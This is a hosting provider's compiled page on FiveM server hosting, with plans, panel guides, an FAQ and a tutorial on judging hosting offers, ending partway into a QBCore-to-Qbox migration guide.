# FiveM Server Hosting - everything RE:NODE has published

> A FiveM server on RE:NODE: plans, how the panel runs it, and every tutorial RE:NODE has published about it.

Generated from https://www.renode.space/game-servers/fivem, the live catalogue, the deploy docs, the panel guides and the RE:NODE blog. English. Source of truth for anything that changes: https://www.renode.space/game-servers/fivem.

Contents: what it is, plans and prices, panel how-to, tutorials, rules for the assistant.

## What it is

FiveM roleplay servers on FXServer, with txAdmin available.

### You supply one thing yourself

FiveM is only sold with a credential its publisher issues to a person, so you need to own the game yourself and provide it after checkout. We cannot create it for you and we never share one between customers. Your server is built immediately; the game installation waits until you paste it into the Setup tab, then runs itself.

### What comes with every FiveM server

- Configured before you see it: The install runs, the configuration is written and the server starts. No first-boot checklist, and nothing left on a default password shared with every other FiveM server on the internet.
- The real console: Live output, command input and the server's own logs - not a filtered summary. Web-server noise is folded behind a counter you can switch off.
- Files and SFTP: A full file manager with an editor, plus SFTP credentials. Upload mods, edit configs, pull a world down to your machine.
- 2-2 backup slots: Taken on demand or on a schedule, restored with a button. Deleting a server takes its backups with it, on purpose.
- 2 ports allocated: Add and remove ports yourself from the Network tab, including the query and RCON ports where the game wants them.
- People on the same server: Invite friends or staff with granular permissions - console only, files only, no billing - through subusers, roles and teams.

### Which FiveM plan do you need?

Memory is what decides whether a server holds together, so start there. The Starter tier gives 2 GB and 1 vCPU, which suits a private group. The Advanced tier at 6 GB is where most public servers sit, and Premium at 12 GB exists for the servers that stay full.

Storage matters more than people expect once mods and backups are involved - plans here run from 20 GB to 85 GB of NVMe. Moving up or down a tier later does not rebuild your world; it changes the limits on the container you already have.

If you are not sure, take the middle tier. It is cheaper to move up after a busy weekend than to spend one explaining lag to your players.

More game servers: https://www.renode.space/ai/game-servers.md

### General questions

### Getting started

**How quickly is my server ready?**

Game, app, web and database servers are created the moment payment clears, usually inside a minute. The game or runtime is installed and started for you, and the console is live in your browser while it happens. VDS and dedicated servers are prepared by hand and delivered within 24 hours.

**Do I need to configure anything before it works?**

No. The install runs, the configuration is written, and admin passwords are generated for your server rather than shared with everybody else's. The exception is four games whose publisher issues a credential to a person - those say so on the shop before you pay, and ask for it on a Setup tab afterwards.

**Which games need a key from me?**

Counter-Strike 2 needs a Steam game-server token, Don't Starve Together a Klei cluster token, FiveM a Cfx.re licence, and DayZ, Project Zomboid, 7 Days to Die, Arma 3 and Unturned need a Steam account or token of your own. We cannot create any of them and we never share one between customers. Your server is built immediately and the installation waits until you paste yours in.

**Can I try before buying?**

There is no free tier. The entry plans start at $1.50 a month precisely so that trying something costs about as much as a coffee.

**Can Claude or ChatGPT set my project up?**

Yes, and the panel gives it what it needs. On a server's Console tab, pick a purpose and press Connect AI: the panel copies a private link with the runtime, the port the code must read from SERVER_PORT, the code path, the GitHub branch, the databases and the limits. Paste it into Claude, ChatGPT or any assistant that can open links; the same link followed by /mcp works as an MCP server URL. It stops by itself after 7 days unused. You can also connect Claude, or any MCP client, to your whole account at https://panel.renode.space/api/client/mcp. Linked repositories get a pre-flight check that shows what will break before a deploy, no AI needed. No password or token is ever shown to the assistant - the AI setup page explains it all.

### Running the server

**Do I get full file access?**

Yes - a complete file manager with an in-browser editor, plus SFTP credentials. There is no plan on which the file manager is disabled or read-only.

**Can I install mods and plugins?**

Yes. Upload them through the file manager or SFTP, or use the game's own workshop support where it has any. Nothing here whitelists which mods you are allowed to run.

**Can other people help me run it?**

Yes. Invite subusers with granular permissions - console only, files only, no billing - or build a team with a role and grant it access to several servers at once. Permissions are a union, so nobody loses access they were given elsewhere.

**What happens if my server runs out of memory?**

New servers are configured so the kernel stops the container and it restarts clean, rather than swapping and dragging the whole machine down. If a server restarts repeatedly we warn you on the server page and open a support ticket before anything is suspended - you get told twice before it stops.

**Is the CPU limit a hard limit?**

Yes, and it cannot be breached: the container is throttled to the share you bought. A server sitting at 100% is slow, not broken, and is never suspended for it.

### Backups and safety

**Are backups included?**

Every plan carries backup slots - two on the entry tiers, more further up. Take them on demand or on a schedule, and restore with a button rather than a support ticket.

**Where are backups stored?**

Off the machine they protect. A backup sitting on the same disk as the thing it is insuring covers you deleting your world and covers nothing at all about the disk failing.

**What happens to my backups if I cancel?**

Deleting a server deletes its backups with it, deliberately and including locked ones. Download anything you want to keep first - the panel lets you.

### Billing

**How do I pay?**

PayPal, card, your wallet balance, or bank transfer. Every method produces a proper invoice you can download or print, with our details and the bank account on it while it is unpaid.

**Can I pay in Georgian lari?**

The panel displays every figure in lari at the National Bank of Georgia's published rate, marks converted figures as approximate, and always shows the amount that will actually be charged. Invoices stay in the currency they were raised in, because an invoice is a demand for a specific amount.

**What happens when my subscription is due?**

An invoice is raised and emailed to you seven days before expiry, and again on the day. Paying it settles that same document rather than raising a second one.

**Can I upgrade or downgrade later?**

Yes, and it does not rebuild anything. Changing plan changes the limits on the container you already have - your world, files and database stay exactly where they are.

**Do you offer refunds?**

There is no automatic refund button. If a server cannot do what it was sold to do, open a ticket and we will sort it out - including refunding you. We would rather fix the plan than argue about the policy.

### Support and the honest bits

**How do I get help?**

Open a ticket from the panel - it reaches every member of staff and every administrator, not a queue aimed at nobody in particular. Attach a screenshot if it helps; attachments are private to your ticket rather than sitting at a guessable public URL. Discord is there for faster, less formal questions.

**Where are the servers?**

Germany, on hardware we run. That is one location: if you need players in another region on a low ping, say so before buying rather than after.

**Is there an uptime guarantee?**

We measure node availability every five minutes and report it in the panel rather than printing a number with four decimal places we have not earned. If something is down you will usually hear it from us first.

**Who actually runs this?**

A small team that writes the panel, the shop and the automation itself. When something is wrong the fix is a code change, which is why the list of things wrong keeps getting shorter.

## Plans and prices

Read from the live catalogue at 2026-10-15 22:30 UTC. Prices are in US dollars per month; checkout also takes Georgian lari and bills for 1, 3, 6, 12 or 24 months. Prices change - re-check on https://www.renode.space/game-servers/fivem or in the panel shop at https://panel.renode.space before quoting one.

- You supply: FiveM licence key - Sign in with your Cfx.re account and generate a key for this server. It is free, and one key belongs to one server — FXServer refuses to start without it. (https://keymaster.fivem.net/)

| Plan | Price / month | Memory | CPU | NVMe disk | Databases | Backups | Ports |
|---|---|---|---|---|---|---|---|
| Starter | $9 | 2 GB | 1 vCPU | 20 GB | 1 | 2 | 2 |
| Standard | $14 | 4 GB | 1.5 vCPU | 30 GB | 1 | 2 | 2 |
| Advanced | $19 | 6 GB | 2 vCPU | 40 GB | 1 | 2 | 2 |
| Pro | $25 | 8 GB | 2.5 vCPU | 60 GB | 1 | 2 | 2 |
| Premium | $33 | 12 GB | 3.5 vCPU | 85 GB | 1 | 2 | 2 |


## Panel how-to

From the panel guides at https://www.renode.space/guides.

### Ordering a server

Ordering takes about a minute and happens in three screens: find what you want to run, pick a plan, and pay. Pay by card or PayPal and the server is set up the moment the payment goes through - you can watch it install in its console.

- Takes: About a minute
- Pay with: Card, PayPal or bank transfer
- Billed for: 1, 3, 6, 12 or 24 months
- Prices in: US dollars or Georgian lari

Open the shop and find what you want to run:

1. Sign in to the panel and open the shop. The tabs along the top are the product lines: VDS, Game Servers, App Hosting, Web Hosting and Databases.
2. Find your game - there is a search box - and press View plans. The card already shows the lowest price and the range of memory on offer.

Compare the plans and pick one:

3. Every plan lists its memory, CPU and NVMe storage, roughly how many players it suits, and what is included - updates, backup slots, file and SFTP access.
4. Press Get Started on the one you want. Not sure? Start smaller: you can move to a bigger plan later without losing your world.

Choose how long, then pay:

5. Pick a billing period - 1, 3, 6, 12 or 24 months. The total for the whole period is shown before you pay, so there are no surprises.
6. Pay with PayPal, or press Debit or Credit Card - paying by card does not need a PayPal account. The server is created as soon as the payment completes.

Paying by bank transfer instead: Prefer to pay from your bank? Choose bank transfer at checkout. The server is set up once the payment arrives, usually the next working day.

1. Switch the payment tab to Bank transfer. The account details for Bank of Georgia and TBC Bank appear, each with a Copy button.
2. Press Order & get invoice, then pay that invoice from your banking app, quoting the reference on it.

After you pay:

- The server appears under My Servers and installs itself. Open it to watch the install in the console.
- Your orders, invoices and subscriptions are under Finances in the side menu.
- Stuck at any step? Open Support in the side menu and raise a ticket.

### The console

Live output, a command line, power controls and the resource graphs. It is the server's own output rather than a filtered summary - if the game prints it, you see it.

- Start, stop, restart and kill, with the current state always visible.
- Command history with the arrow keys, and tab completion for common commands.
- Web-server noise - the internet knocking on doors that are not there - is folded behind a count you can switch off. A real error always prints.
- Graphs for memory, CPU and disk against your limits, so whether it is the plan or the mod is answerable.

### Files and SFTP

A complete file manager with an editor in the browser, plus SFTP credentials for the tools you already use. Upload a modpack, fix a config, pull a world down to your machine.

- Drag files in, or upload a folder. Archives can be unpacked in place.
- Edit any text file with syntax highlighting and save without downloading it.
- PDFs and images preview in the panel rather than downloading first.
- SFTP on the same credentials - use FileZilla, WinSCP or your editor's remote mode.

### Backups

Take one before you try something. Restore it when the something goes wrong. Lock the ones that matter so they are not rotated away.

- Slots on every plan - two on the entry tiers, more further up.
- Take one on demand, or on a schedule you set.
- Download any backup to your own machine.

> Important: Deleting a server deletes its backups, including the locked ones. A lock stops you removing a backup by accident; it is not a claim on the disk after the server is gone. Download what you want to keep before you cancel.

### Subusers, roles and teams

Give somebody the console without giving them your files, or the files without your billing. Three separate ideas, kept apart deliberately.

- A role holds permissions - what may be done.
- A team holds people.
- A grant joins a team to a server with a role, so adding a moderator to the team gives them the same access everywhere at once.
- Invite by link, by a join code, or by email address - and require approval on the codes if you would rather vet people.
- Access can be time-boxed, and expiry stops working immediately rather than overnight.

### Scheduled tasks

Restart nightly, back up before the restart, announce it to players first. Tasks run in order with delays between them, so a schedule can be a small routine rather than one action.

- Send a console command - a warning to players, a save, a world flush.
- Take a backup.
- Power actions: start, stop, restart.

### Games that need a key from you

A few games want a credential their publisher issues to a person - a Steam game-server token, a Steam account that owns the server files, a Klei cluster token, a Cfx.re licence. We cannot create one and we never share one between customers.

> Note: Those games say so on the shop before you pay. Your server is built immediately, and the game installation is held until you paste the value into a Setup tab, because installing without it produces a server with no game files in it and no explanation.

## Tutorials

17 posts, newest first. Each one follows in full after the list.

- [FiveM server hosting: what to look for before you pay](https://www.renode.space/blog/fivem-server-hosting-what-to-look-for) (2026-10-15): How to choose FiveM server hosting: single-thread CPU, RAM by framework, an included database, txAdmin, DDoS claims, location, your Cfx.re key and red flags.
- [QBCore to Qbox migration: bridge, inventory and database](https://www.renode.space/blog/qbcore-to-qbox-migration) (2026-10-15): How to move a live QBCore server to Qbox: what the qb-core bridge covers, converting qb-inventory to ox_inventory, the SQL changes, testing and rollback.
- [Qbox FiveM server: setup, resources and load order](https://www.renode.space/blog/qbox-server-setup-and-resources) (2026-10-15): Set up a Qbox (qbx_core) FiveM server: the txAdmin recipe, the ox resources it needs, ensure order, qbx convars and the startup errors people hit.
- [txAdmin guide: admins, restarts, bans and backups](https://www.renode.space/blog/txadmin-guide) (2026-10-15): txAdmin in depth for FiveM: the PIN and master account, admin permissions, recipes, scheduled restarts, bans and warns, the Discord bot, txData backups and security.
- [FiveM anticheat: what actually works](https://www.renode.space/blog/fivem-anticheat-options) (2026-10-07): Protect a FiveM server in the right order: entity lockdown, secure server events, game event filters, txAdmin bans and when a paid anticheat is worth it.
- [FiveM Discord whitelist and role permissions](https://www.renode.space/blog/fivem-discord-permissions-and-whitelist) (2026-10-07): Whitelist a FiveM server by Discord membership or role with txAdmin, and map Discord roles to ACE permissions with a small resource or an existing one.
- [FiveM escrow and asset licensing](https://www.renode.space/blog/fivem-escrow-and-asset-licensing) (2026-10-07): How Cfx.re asset escrow works: why paid FiveM scripts are tied to the account that owns your licence key, what you can edit, transfers, and leaked resources.
- [FiveM MLOs and maps without the lag](https://www.renode.space/blog/fivem-mlo-maps-and-streaming-assets) (2026-10-07): How FiveM MLOs, map edits and streamed assets work: the stream folder, ytyp and fxmanifest lines, oversized asset warnings, conflicts and download size.
- [FiveM OneSync, player slots and culling](https://www.renode.space/blog/fivem-onesync-and-player-slots) (2026-10-07): How OneSync changes a FiveM server: the 32 and 48 slot limits, culling radius, routing buckets, population, entity lockdown and sizing for real slots.
- [FiveM server performance with resmon](https://www.renode.space/blog/fivem-server-performance-resmon) (2026-10-07): Find the FiveM resource that lags your server: resmon on the client, the server profiler, hitch warnings, txAdmin tick charts and the fixes that work.
- [FiveM artifacts: updating FXServer safely](https://www.renode.space/blog/fivem-server-updates-artifacts) (2026-10-07): How FiveM server artifacts work: recommended versus latest builds, where to download them, updating on Linux and Windows, txAdmin, and rolling back cleanly.
- [FiveM addon cars: vehicles.meta and size](https://www.renode.space/blog/fivem-vehicles-and-addon-cars) (2026-10-07): Add custom vehicles to a FiveM server: addon versus replace, the meta files and fxmanifest lines, modkit conflicts, file size and the errors people hit.
- [FiveM server RAM: sizing by resources](https://www.renode.space/blog/how-much-ram-does-a-fivem-server-need) (2026-10-07): FiveM server memory explained: real RAM figures for freeroam and roleplay, why resources matter more than slots, OneSync, leaking scripts and how to measure them.
- [FiveM oxmysql: setup and slow queries](https://www.renode.space/blog/fivem-database-and-oxmysql) (2026-09-21): How a FiveM server uses a database: the panel database slot, the oxmysql connection string, importing a framework schema, slow queries and backups.
- [FiveM frameworks: ESX vs QBCore vs Qbox](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox) (2026-09-21): How ESX, QBCore and Qbox differ, what each one needs underneath it, how resources load, and which framework to pick for a new roleplay server.
- [FiveM server.cfg: convars, OneSync and ACE](https://www.renode.space/blog/fivem-server-cfg-explained) (2026-09-21): Every line of a FiveM server.cfg: endpoints, sv_maxclients, OneSync, game build, convars, ACE permissions and the settings worth changing.
- [FiveM server setup: licence key and txAdmin](https://www.renode.space/blog/fivem-server-and-txadmin) (2026-06-23): Run an FXServer properly: the Cfx.re licence key, the first txAdmin run, every line of server.cfg that matters, OneSync, ports, and finding the resource that lags.

---

### FiveM server hosting: what to look for before you pay

Published 2026-10-15 by RE:NODE Team. https://www.renode.space/blog/fivem-server-hosting-what-to-look-for

Good FiveM hosting comes down to six things: a fast CPU core with a stated, enforced share of it; enough memory for your framework and resource list rather than your slot count; a database on the same network; txAdmin and full file access; an honest account of what happens during an attack; and a location close to your players. The Cfx.re key and any Element Club slot tier are yours, not the host's, so any offer that bundles them or promises "unlimited slots" is telling you something about the seller. Everything else on a pricing page - the RGB screenshots, the "premium" label, the number of locations you will never use - is decoration.

This post is about judging an offer. How much memory a given resource list needs is covered in detail in [FiveM server RAM: sizing by resources](https://www.renode.space/blog/how-much-ram-does-a-fivem-server-need), the setup itself in [FiveM server setup: licence key and txAdmin](https://www.renode.space/blog/fivem-server-and-txadmin), and slot limits in [FiveM OneSync, player slots and culling](https://www.renode.space/blog/fivem-onesync-and-player-slots). Here, those facts are turned into questions to ask before you pay.

#### What a FiveM server actually asks of a host

FXServer is a modest program wrapped around a lot of other people's code. The binary hosts resources - folders of Lua, JavaScript or C# - and those resources decide almost everything about how the server behaves under load. That shapes what a host needs to provide:

- **One fast core** for the main thread, where server-side scripts run, plus some headroom for the sync and networking work around it.
- **Memory that follows the resource list.** A roleplay server with two hundred resources and a quiet evening uses more than a freeroam server that is full.
- **A database**, because every roleplay framework stores characters, inventories, vehicles and money in one.
- **Two reachable ports**: the game endpoint (`30120` by default, as both TCP and UDP) and txAdmin's web interface (`40120` TCP by default).
- **Disk** for the resources folder, streamed assets, the `cache` folder FXServer builds from them, and a couple of older server artifacts kept for rollback.
- **Your control over the files.** Resources are installed by copying folders and editing `server.cfg`, so anything that sits between you and the file system slows down every change you make.

Bandwidth matters less than people assume during play and more than they assume on first join. Game traffic per player is small; downloading a server's custom vehicles, clothing and MLO interiors over the TCP endpoint is not. A server with 2 GB of streamed assets sends a good part of that to every new player, which is a reason to trim the `stream` folders rather than a reason to pay for a bigger pipe.

#### CPU: single-thread speed and an honest number

This is the part hosting pages describe worst, and the part that decides whether players feel lag. FXServer runs server-side scripts on one main thread. Every resource's work in a tick runs in sequence on it, so a single slow script delays all the others, and the result is rubber-banding and desync with memory nowhere near its limit. Extra cores help with loading, asset serving and some networking work; they do not make that thread faster.

So the questions are about one core, not many:

1. **How fast is a single core?** A recent desktop-class or high-clocked server CPU makes a visible difference to tick time. An older many-core server processor at a low clock can have impressive totals and a slow main thread. If the host names its CPU model, look up its single-thread performance, not its core count.
2. **How much of it is yours?** "2 vCPU" can mean two guaranteed cores, two threads shared with ten neighbours, or a share that drops when the node is busy. Ask how the limit is enforced. A hard limit you can see on a graph is better than a generous figure that is not guaranteed - [shared CPU and noisy neighbours](https://www.renode.space/blog/shared-cpu-and-noisy-neighbours) explains why the second kind fails at exactly the hour your server is busiest.
3. **Can you see it?** A CPU graph against the plan's limit lets you tell whether the server is short of CPU or waiting on something else. Without one, every lag complaint turns into a guess.

Reading that graph has one trap. A server at 100% of one core with a 2 vCPU limit shows 50% overall, and looks fine. The main thread is the one that is full. [Reading game server CPU usage](https://www.renode.space/blog/reading-game-server-cpu-usage-single-thread) covers how to spot a single saturated thread behind a comfortable-looking total.

On RE:NODE, CPU is expressed as a percentage of one core - 150 is 1.5 vCPU - and it is a hard throttle to the share you bought, with one container per server. A server pinned at its limit is slow, never suspended for it. The FiveM plans run from 1 vCPU on the smallest tier to 3.5 on the largest.

> [!NOTE]
> More CPU rarely fixes a stuttering roleplay server. One resource spending too long on every tick costs the same on any machine. Before buying a bigger plan, run the server profiler and look at txAdmin's tick chart - [FiveM server performance and resmon](https://www.renode.space/blog/fivem-server-performance-resmon) shows how.

#### RAM by player count and framework

Memory is the headline number on every FiveM plan, and the slot count is the weakest guide to how much you need. A realistic table:

| Server | RAM | vCPU |
| --- | --- | --- |
| Development copy, 1-5 people | 2 GB | 1 |
| Freeroam, drift or racing, up to 32 | 2-3 GB | 1-1.5 |
| Light roleplay, 32-48 | 3-4 GB | 1.5-2 |
| ESX, QBCore or Qbox, 48-64 | 4-6 GB | 2 |
| Large roleplay, 64-128 | 8-12 GB | 2.5-3.5 |

The framework matters less than what is installed around it. ESX, QBCore and Qbox all cache each connected player's data and lean on the database; the inventory, phone, housing, garage and job resources you add decide where in the range you land. Memory also climbs during the day as caches fill, so the figure that matters is the one just before the scheduled restart, not the one at startup.

What this means when comparing offers:

- **Buy for the end of the day.** If a server sits at 3 GB after start and 4.5 GB eight hours later, a 4 GB plan is too small, whatever the first hour suggests.
- **Check what happens at the limit.** Some hosts let a server swap to disk, which turns a memory shortage into a slow, laggy evening. Others stop the process. Neither is pleasant, but you should know which one you are buying. On RE:NODE a server that reaches its memory limit is stopped and restarted clean rather than left to swap, so a memory problem shows up as an unexplained restart at a similar time each day.
- **Check that upgrading is in place.** You will outgrow your first plan. A host where moving up a tier means a new server, a new address and a key edit makes that worse than it needs to be.
- **Count txAdmin.** It runs as its own process alongside FXServer and uses some memory of its own, against the same limit.

#### The database: included, close and backed up

Every roleplay framework needs a MySQL-compatible database, reached through oxmysql with a connection string in `server.cfg`:

server.cfg:

```cfg
set mysql_connection_string "mysql://user:password@host:3306/database?charset=utf8mb4"
set mysql_slow_query_warning 150
```

The database is not an optional extra on a roleplay server. It is the characters, the money, the houses and the cars; losing it is losing the server. Three things to check:

- **Is one included?** Some offers price the game server cheaply and charge separately for the database, which changes the comparison. Find out whether the database is a slot on the game plan or a separate product.
- **Where does it run?** oxmysql makes many small queries, and frameworks often make several per player action. A database on the same network answers in a fraction of a millisecond; one across the internet adds tens of milliseconds to every query. Free remote databases on another continent are a common cause of slow inventories that nobody thinks to blame on the database.
- **Is it backed up, and can you get it out?** A database you cannot dump is a database you cannot move. You want a way to run `mysqldump` or export from a web tool, and backups that cover the database as well as the files.

On RE:NODE every FiveM plan includes one database slot, created from the panel with a generated host, user and password, and an "Open in phpMyAdmin" button that signs you in with a one-use token. If you want the database on its own plan with its own resources, MySQL 8.4 LTS is also sold separately under [database hosting](https://www.renode.space/database-hosting#mysql). [The database and oxmysql](https://www.renode.space/blog/fivem-database-and-oxmysql) covers schema imports, slow queries and the tables worth pruning.

#### txAdmin, artifacts and file access

txAdmin ships inside the FXServer artifacts, so any host that runs FiveM can run it. What varies is whether the host lets you use it fully and whether it fights you on the rest.

Things a host should allow:

- **txAdmin's web interface on a reachable port.** Scheduled restarts with in-game warnings, crash and hang detection, the player manager with ban history, Discord whitelisting and the live console all live there. A host that hides txAdmin behind its own panel and offers only a stripped-down start button removes most of the tooling FiveM server owners rely on.
- **Choosing your artifact build.** FXServer artifacts are published as recommended and latest builds. Frameworks and some resources expect a minimum build, and an update occasionally breaks something, so you need to be able to stay on a known-good build and roll back. [Updating server artifacts](https://www.renode.space/blog/fivem-server-updates-artifacts) covers doing that safely.
- **SFTP and a usable file manager.** Installing a resource is copying a folder into `resources` and adding an `ensure` line. Uploading a 300 MB vehicle pack through a browser upload form is miserable; through SFTP it is routine. [SFTP and the file manager](https://www.renode.space/blog/sftp-and-the-file-manager) has the connection details.
- **Editing `server.cfg` directly.** Some panels generate the config from a form and overwrite your edits at the next start. Convars such as `sv_entityLockdown`, `sv_enforceGameBuild` or `set`/`setr` lines for your framework need to stay where you put them.
- **Subusers.** Roleplay servers are run by teams. Developers need console and file access; moderators may need only the console. Handing out the account password is how servers get lost.

On RE:NODE, FiveM has txAdmin available, plans carry two port allocations, every server has SFTP with per-server credentials, and subusers can be given console-only or files-only access without billing.

#### DDoS: what a host can and cannot promise

FiveM servers are attacked more than most. Roleplay communities have rivals, banned players have grudges, and stress-testing services are cheap. So every FiveM host advertises protection, and the honest version of that claim is narrower than the marketing.

What filtering upstream of the server can do well is drop volumetric floods - large amounts of traffic that is obviously not game traffic - along with reflection attacks and malformed packets. What it cannot do reliably is tell the difference between an attack that imitates real clients and real clients. Floods aimed at the HTTP endpoint on TCP `30120`, or traffic shaped to look like connection attempts, pass through filters built for volume. [DDoS attacks on game servers explained](https://www.renode.space/blog/ddos-attacks-on-game-servers-explained) covers the categories.

When reading a host's claim, look for:

- **What is filtered**, in plain words, rather than a headline figure in terabits that describes the provider's whole network.
- **What happens when filtering is not enough.** Some hosts null-route the address during a large attack, which takes the server offline to protect everyone else on the network. That is a reasonable policy, but you want to know it exists.
- **No promise of zero downtime.** A host that promises no downtime under any attack is selling you a sentence, not a service.

There is also a part that is yours. Keep `set sv_endpointPrivacy true` in `server.cfg` so player endpoints are not exposed to other players, and keep txAdmin's admin accounts protected with strong passwords, since port `40120` is reachable from the internet. Most "DDoS" incidents on small FiveM servers turn out to be a resource being abused or an event being spammed by a modified client - [FiveM anticheat options](https://www.renode.space/blog/fivem-anticheat-options) is the better defence against those.

On RE:NODE the wording is exactly this: upstream filtering that drops obvious volumetric floods, plus reflection and malformed traffic. Attacks that look like real players are not filtered.

#### Location and latency

Pick the host location for where your players are, not for where the price is lowest. FiveM syncs entities between clients through the server, so everybody's latency to it shapes how other players' cars and characters move on their screen. Under about 50 ms to the server, roleplay feels normal. Past 100 ms, vehicle chases and shootouts start to look wrong to everybody involved, not just the player who is far away.

A few practical points:

- **Most roleplay communities are regional.** A server whose players are in Europe should be in Europe, and one whose players are spread across North America should be in the middle of it. Splitting the difference across an ocean helps nobody.
- **Measure from where your players are.** A host's looking-glass page or a test IP lets a few community members run a ping and a traceroute in the evening, when routes are busiest. [Latency, jitter and packet loss](https://www.renode.space/blog/latency-jitter-and-packet-loss) explains what to look at besides the average.
- **Many locations are only useful once.** You will run the server in one place. A long list of regions matters only if one of them is close to your players.

RE:NODE runs in one location, Germany, on hardware we run. That suits communities in Europe and nearby regions, and it is the wrong choice for a server whose players are in North America or Asia - be honest with yourself about where your players are.

#### The Cfx.re key and Element Club slot limits

Every FiveM server needs a licence key from the Cfx.re keymaster, created on your own Cfx.re account and placed in `server.cfg` as `sv_licenseKey`. It is free. It belongs to you, and so does any Element Club subscription that raises the slot limit attached to it.

secrets.cfg:

```cfg
sv_licenseKey "your-key-from-keymaster"
set mysql_connection_string "mysql://user:password@host:3306/database"
```

What that means for choosing a host:

- **The host cannot sell you slots.** For years a key without a paid tier has allowed up to 48 slots with OneSync, and higher counts have needed an Element Club tier on the account that owns the key. A host's plan can say "128 slots"; if your key does not carry the tier, the server refuses that count at startup. Cfx.re has changed tier names and thresholds before, so check the current figures in the Cfx.re portal.
- **A key supplied by the host is not your key.** If the host's account owns the key and the host revokes it, cancels it or loses it, your server stops. If Cfx.re revokes it for something another of the host's customers did, the same. A key on your own account follows you when you move.
- **The key is a credential.** It goes in the config and nowhere else - not in a screenshot of the console, not in a public repository. Keeping it in a separate `secrets.cfg` executed from `server.cfg` makes that easy.

Moving hosts also involves the key, since it records details of where the server runs; [moving a server without losing players](https://www.renode.space/blog/moving-a-server-without-losing-players) covers the rest of a migration. On RE:NODE the Cfx.re key is entered on the Setup tab: the server is built at once, and the install waits until the key is there.

#### Red flags in FiveM hosting offers

Some offers are simply expensive. Others tell you something about how the host operates. These are the second kind.

- **"Unlimited slots" or "Element Club included".** Slot tiers belong to the key owner's Cfx.re account. A host claiming to include them either owns your key, which is a problem, or is describing something that will not work.
- **Free premium scripts, MLOs or "full RP packs" with the server.** Paid FiveM resources are usually protected by Cfx.re's asset escrow and licensed to the buyer's account. A pack of them bundled for free is almost always leaked, and running leaked assets puts your key and your server at risk of being banned. [Escrow and asset licensing](https://www.renode.space/blog/fivem-escrow-and-asset-licensing) explains how licensing works.
- **A vCPU figure with no explanation.** "Up to 4 cores" with nothing about how the share is enforced usually means the share is whatever is left over.
- **No database, or a database on another continent.** Either is a cost you discover after a week of slow inventories.
- **No way to use txAdmin or choose the artifact build.** You lose restarts, bans, whitelisting and the ability to roll back a bad update.
- **No SFTP, no backups, or backups on the same disk.** A backup stored next to what it protects does not protect against losing the server. [Backups that actually restore](https://www.renode.space/blog/backups-that-actually-restore) covers what to ask.
- **Zero-downtime DDoS promises and SLAs at 100%.** Nobody can deliver them, so the question becomes what else on the page is decoration.
- **No refund route and no way to reach a person.** Find out how support is reached before something breaks, not after.

None of these mean the host is dishonest. Several are just signs of a product built for a different kind of customer. But a roleplay community will run on its first host for months, and changing later costs a migration, a key edit and a weekend of moved resources.

#### A checklist before you pay

The short version, in the order worth checking:

1. **Location** close to most of your players, confirmed with a ping from a few of them.
2. **CPU**: a stated share of a fast core, enforced and visible on a graph.
3. **Memory** for your resource list at the end of the day, with headroom, and a known behaviour at the limit.
4. **Database** on the same network, included or priced into the comparison, with backups and a way to export.
5. **txAdmin** reachable, artifact build selectable, `server.cfg` editable, SFTP available.
6. **Backups** stored off the machine, restorable by you, and covering both files and database.
7. **Your own key**, entered by you, with any slot tier on your own Cfx.re account.
8. **An honest DDoS description** and a way to reach support that you have tested.

For anything still unclear, [how to choose game server hosting](https://www.renode.space/blog/how-to-choose-game-server-hosting) covers the parts that apply to every game, and the CPU side is unpacked further in [game server CPU requirements](https://www.renode.space/blog/game-server-cpu-requirements).

#### FAQ

##### What is the minimum hosting for a FiveM roleplay server?

For a small ESX, QBCore or Qbox server with a curated resource list, about 4 GB of memory and 2 vCPU of a fast core, plus a database on the same network. A freeroam or development server can run in 2 GB. The resource list decides more than the slot count, so measure memory at the end of a full day before settling on a plan.

##### Can a host give me more than 48 slots?

Not by itself. The slot limit above the free threshold comes from an Element Club tier on the Cfx.re account that owns the key. The host provides the machine; whether your key allows 64 or 128 players depends on your Cfx.re subscription, and the server tells you at startup if the count is too high.

##### Do I need a separate database host for FiveM?

Usually not. A database slot on the same network as the game server is the simplest and fastest arrangement. A separate database plan makes sense when the database is large, when several servers share it, or when you want its memory kept apart from the game server's.

##### Is DDoS protection worth paying extra for?

Filtering of volumetric floods is worth having and should be part of any FiveM host's basic offer. Paying more for larger headline figures rarely changes much, because the attacks that hurt small servers are usually the ones that look like real players. Securing events and resources does more against those.

##### Should I host FiveM on Windows or Linux?

FXServer artifacts are published for both, and most frameworks and resources run on either. Linux hosting is common and works well; check that any C# resources you depend on are tested on Linux, and keep file names consistent in case, because Linux treats `Stream` and `stream` as different folders.

##### Can I move my FiveM server to another host later?

Yes. Copy the `server-data` folder, dump and import the database, update the connection string and the key if it records the old address, and point players at the new address. Plan it for a quiet hour, and keep the old server untouched until the new one has run for a few days.

FiveM plans on RE:NODE start at $9 a month and run from 2 GB to 12 GB, with txAdmin available, two port allocations, a database slot with one-click phpMyAdmin sign-in, SFTP and backup slots on every tier. Your own Cfx.re key goes on the Setup tab, and moving up a tier raises the limits on the server you already have.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### QBCore to Qbox migration: bridge, inventory and database

Published 2026-10-15 by RE:NODE Team. https://www.renode.space/blog/qbcore-to-qbox-migration

Moving a QBCore server to Qbox is mostly a database and inventory job, not a scripting one. `qbx_core` declares `provide 'qb-core'` and ships a bridge that answers the old `exports['qb-core']:GetCoreObject()` calls, so most `qb-*` job, shop and HUD resources start without edits. What does not carry over is `qb-inventory`: Qbox runs on `ox_inventory` only and refuses to work with `qb-inventory` running, so item definitions, every player's inventory and your stashes, trunks and gloveboxes need converting. On top of that, `qbx_core.sql` changes the `players` table and adds a `player_groups` table for multijob. Do all of it on a copy of the server and database first, keep the old `resources/` folder and a database dump untouched, and the switch itself is an evening rather than a week.

Which framework to pick in the first place, and what each one is, is covered in [FiveM frameworks: ESX vs QBCore vs Qbox](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox). This post assumes you have already decided and have a running QBCore server with real player data you do not want to lose.

#### What actually changes between QBCore and Qbox

Qbox is a continuation of QBCore, not a rewrite from nothing, which is why a migration is possible at all. The player object still has `PlayerData`, `citizenid`, `charinfo`, `money`, `job` and `gang`. The `players` table keeps its name and most of its columns. What moved is everything around the core.

| Area | QBCore | Qbox |
| --- | --- | --- |
| Core resource | `qb-core` | `qbx_core` (also answers to `qb-core`) |
| Inventory | `qb-inventory` | `ox_inventory`, nothing else |
| Item list | `qb-core/shared/items.lua` | `ox_inventory/data/items.lua` |
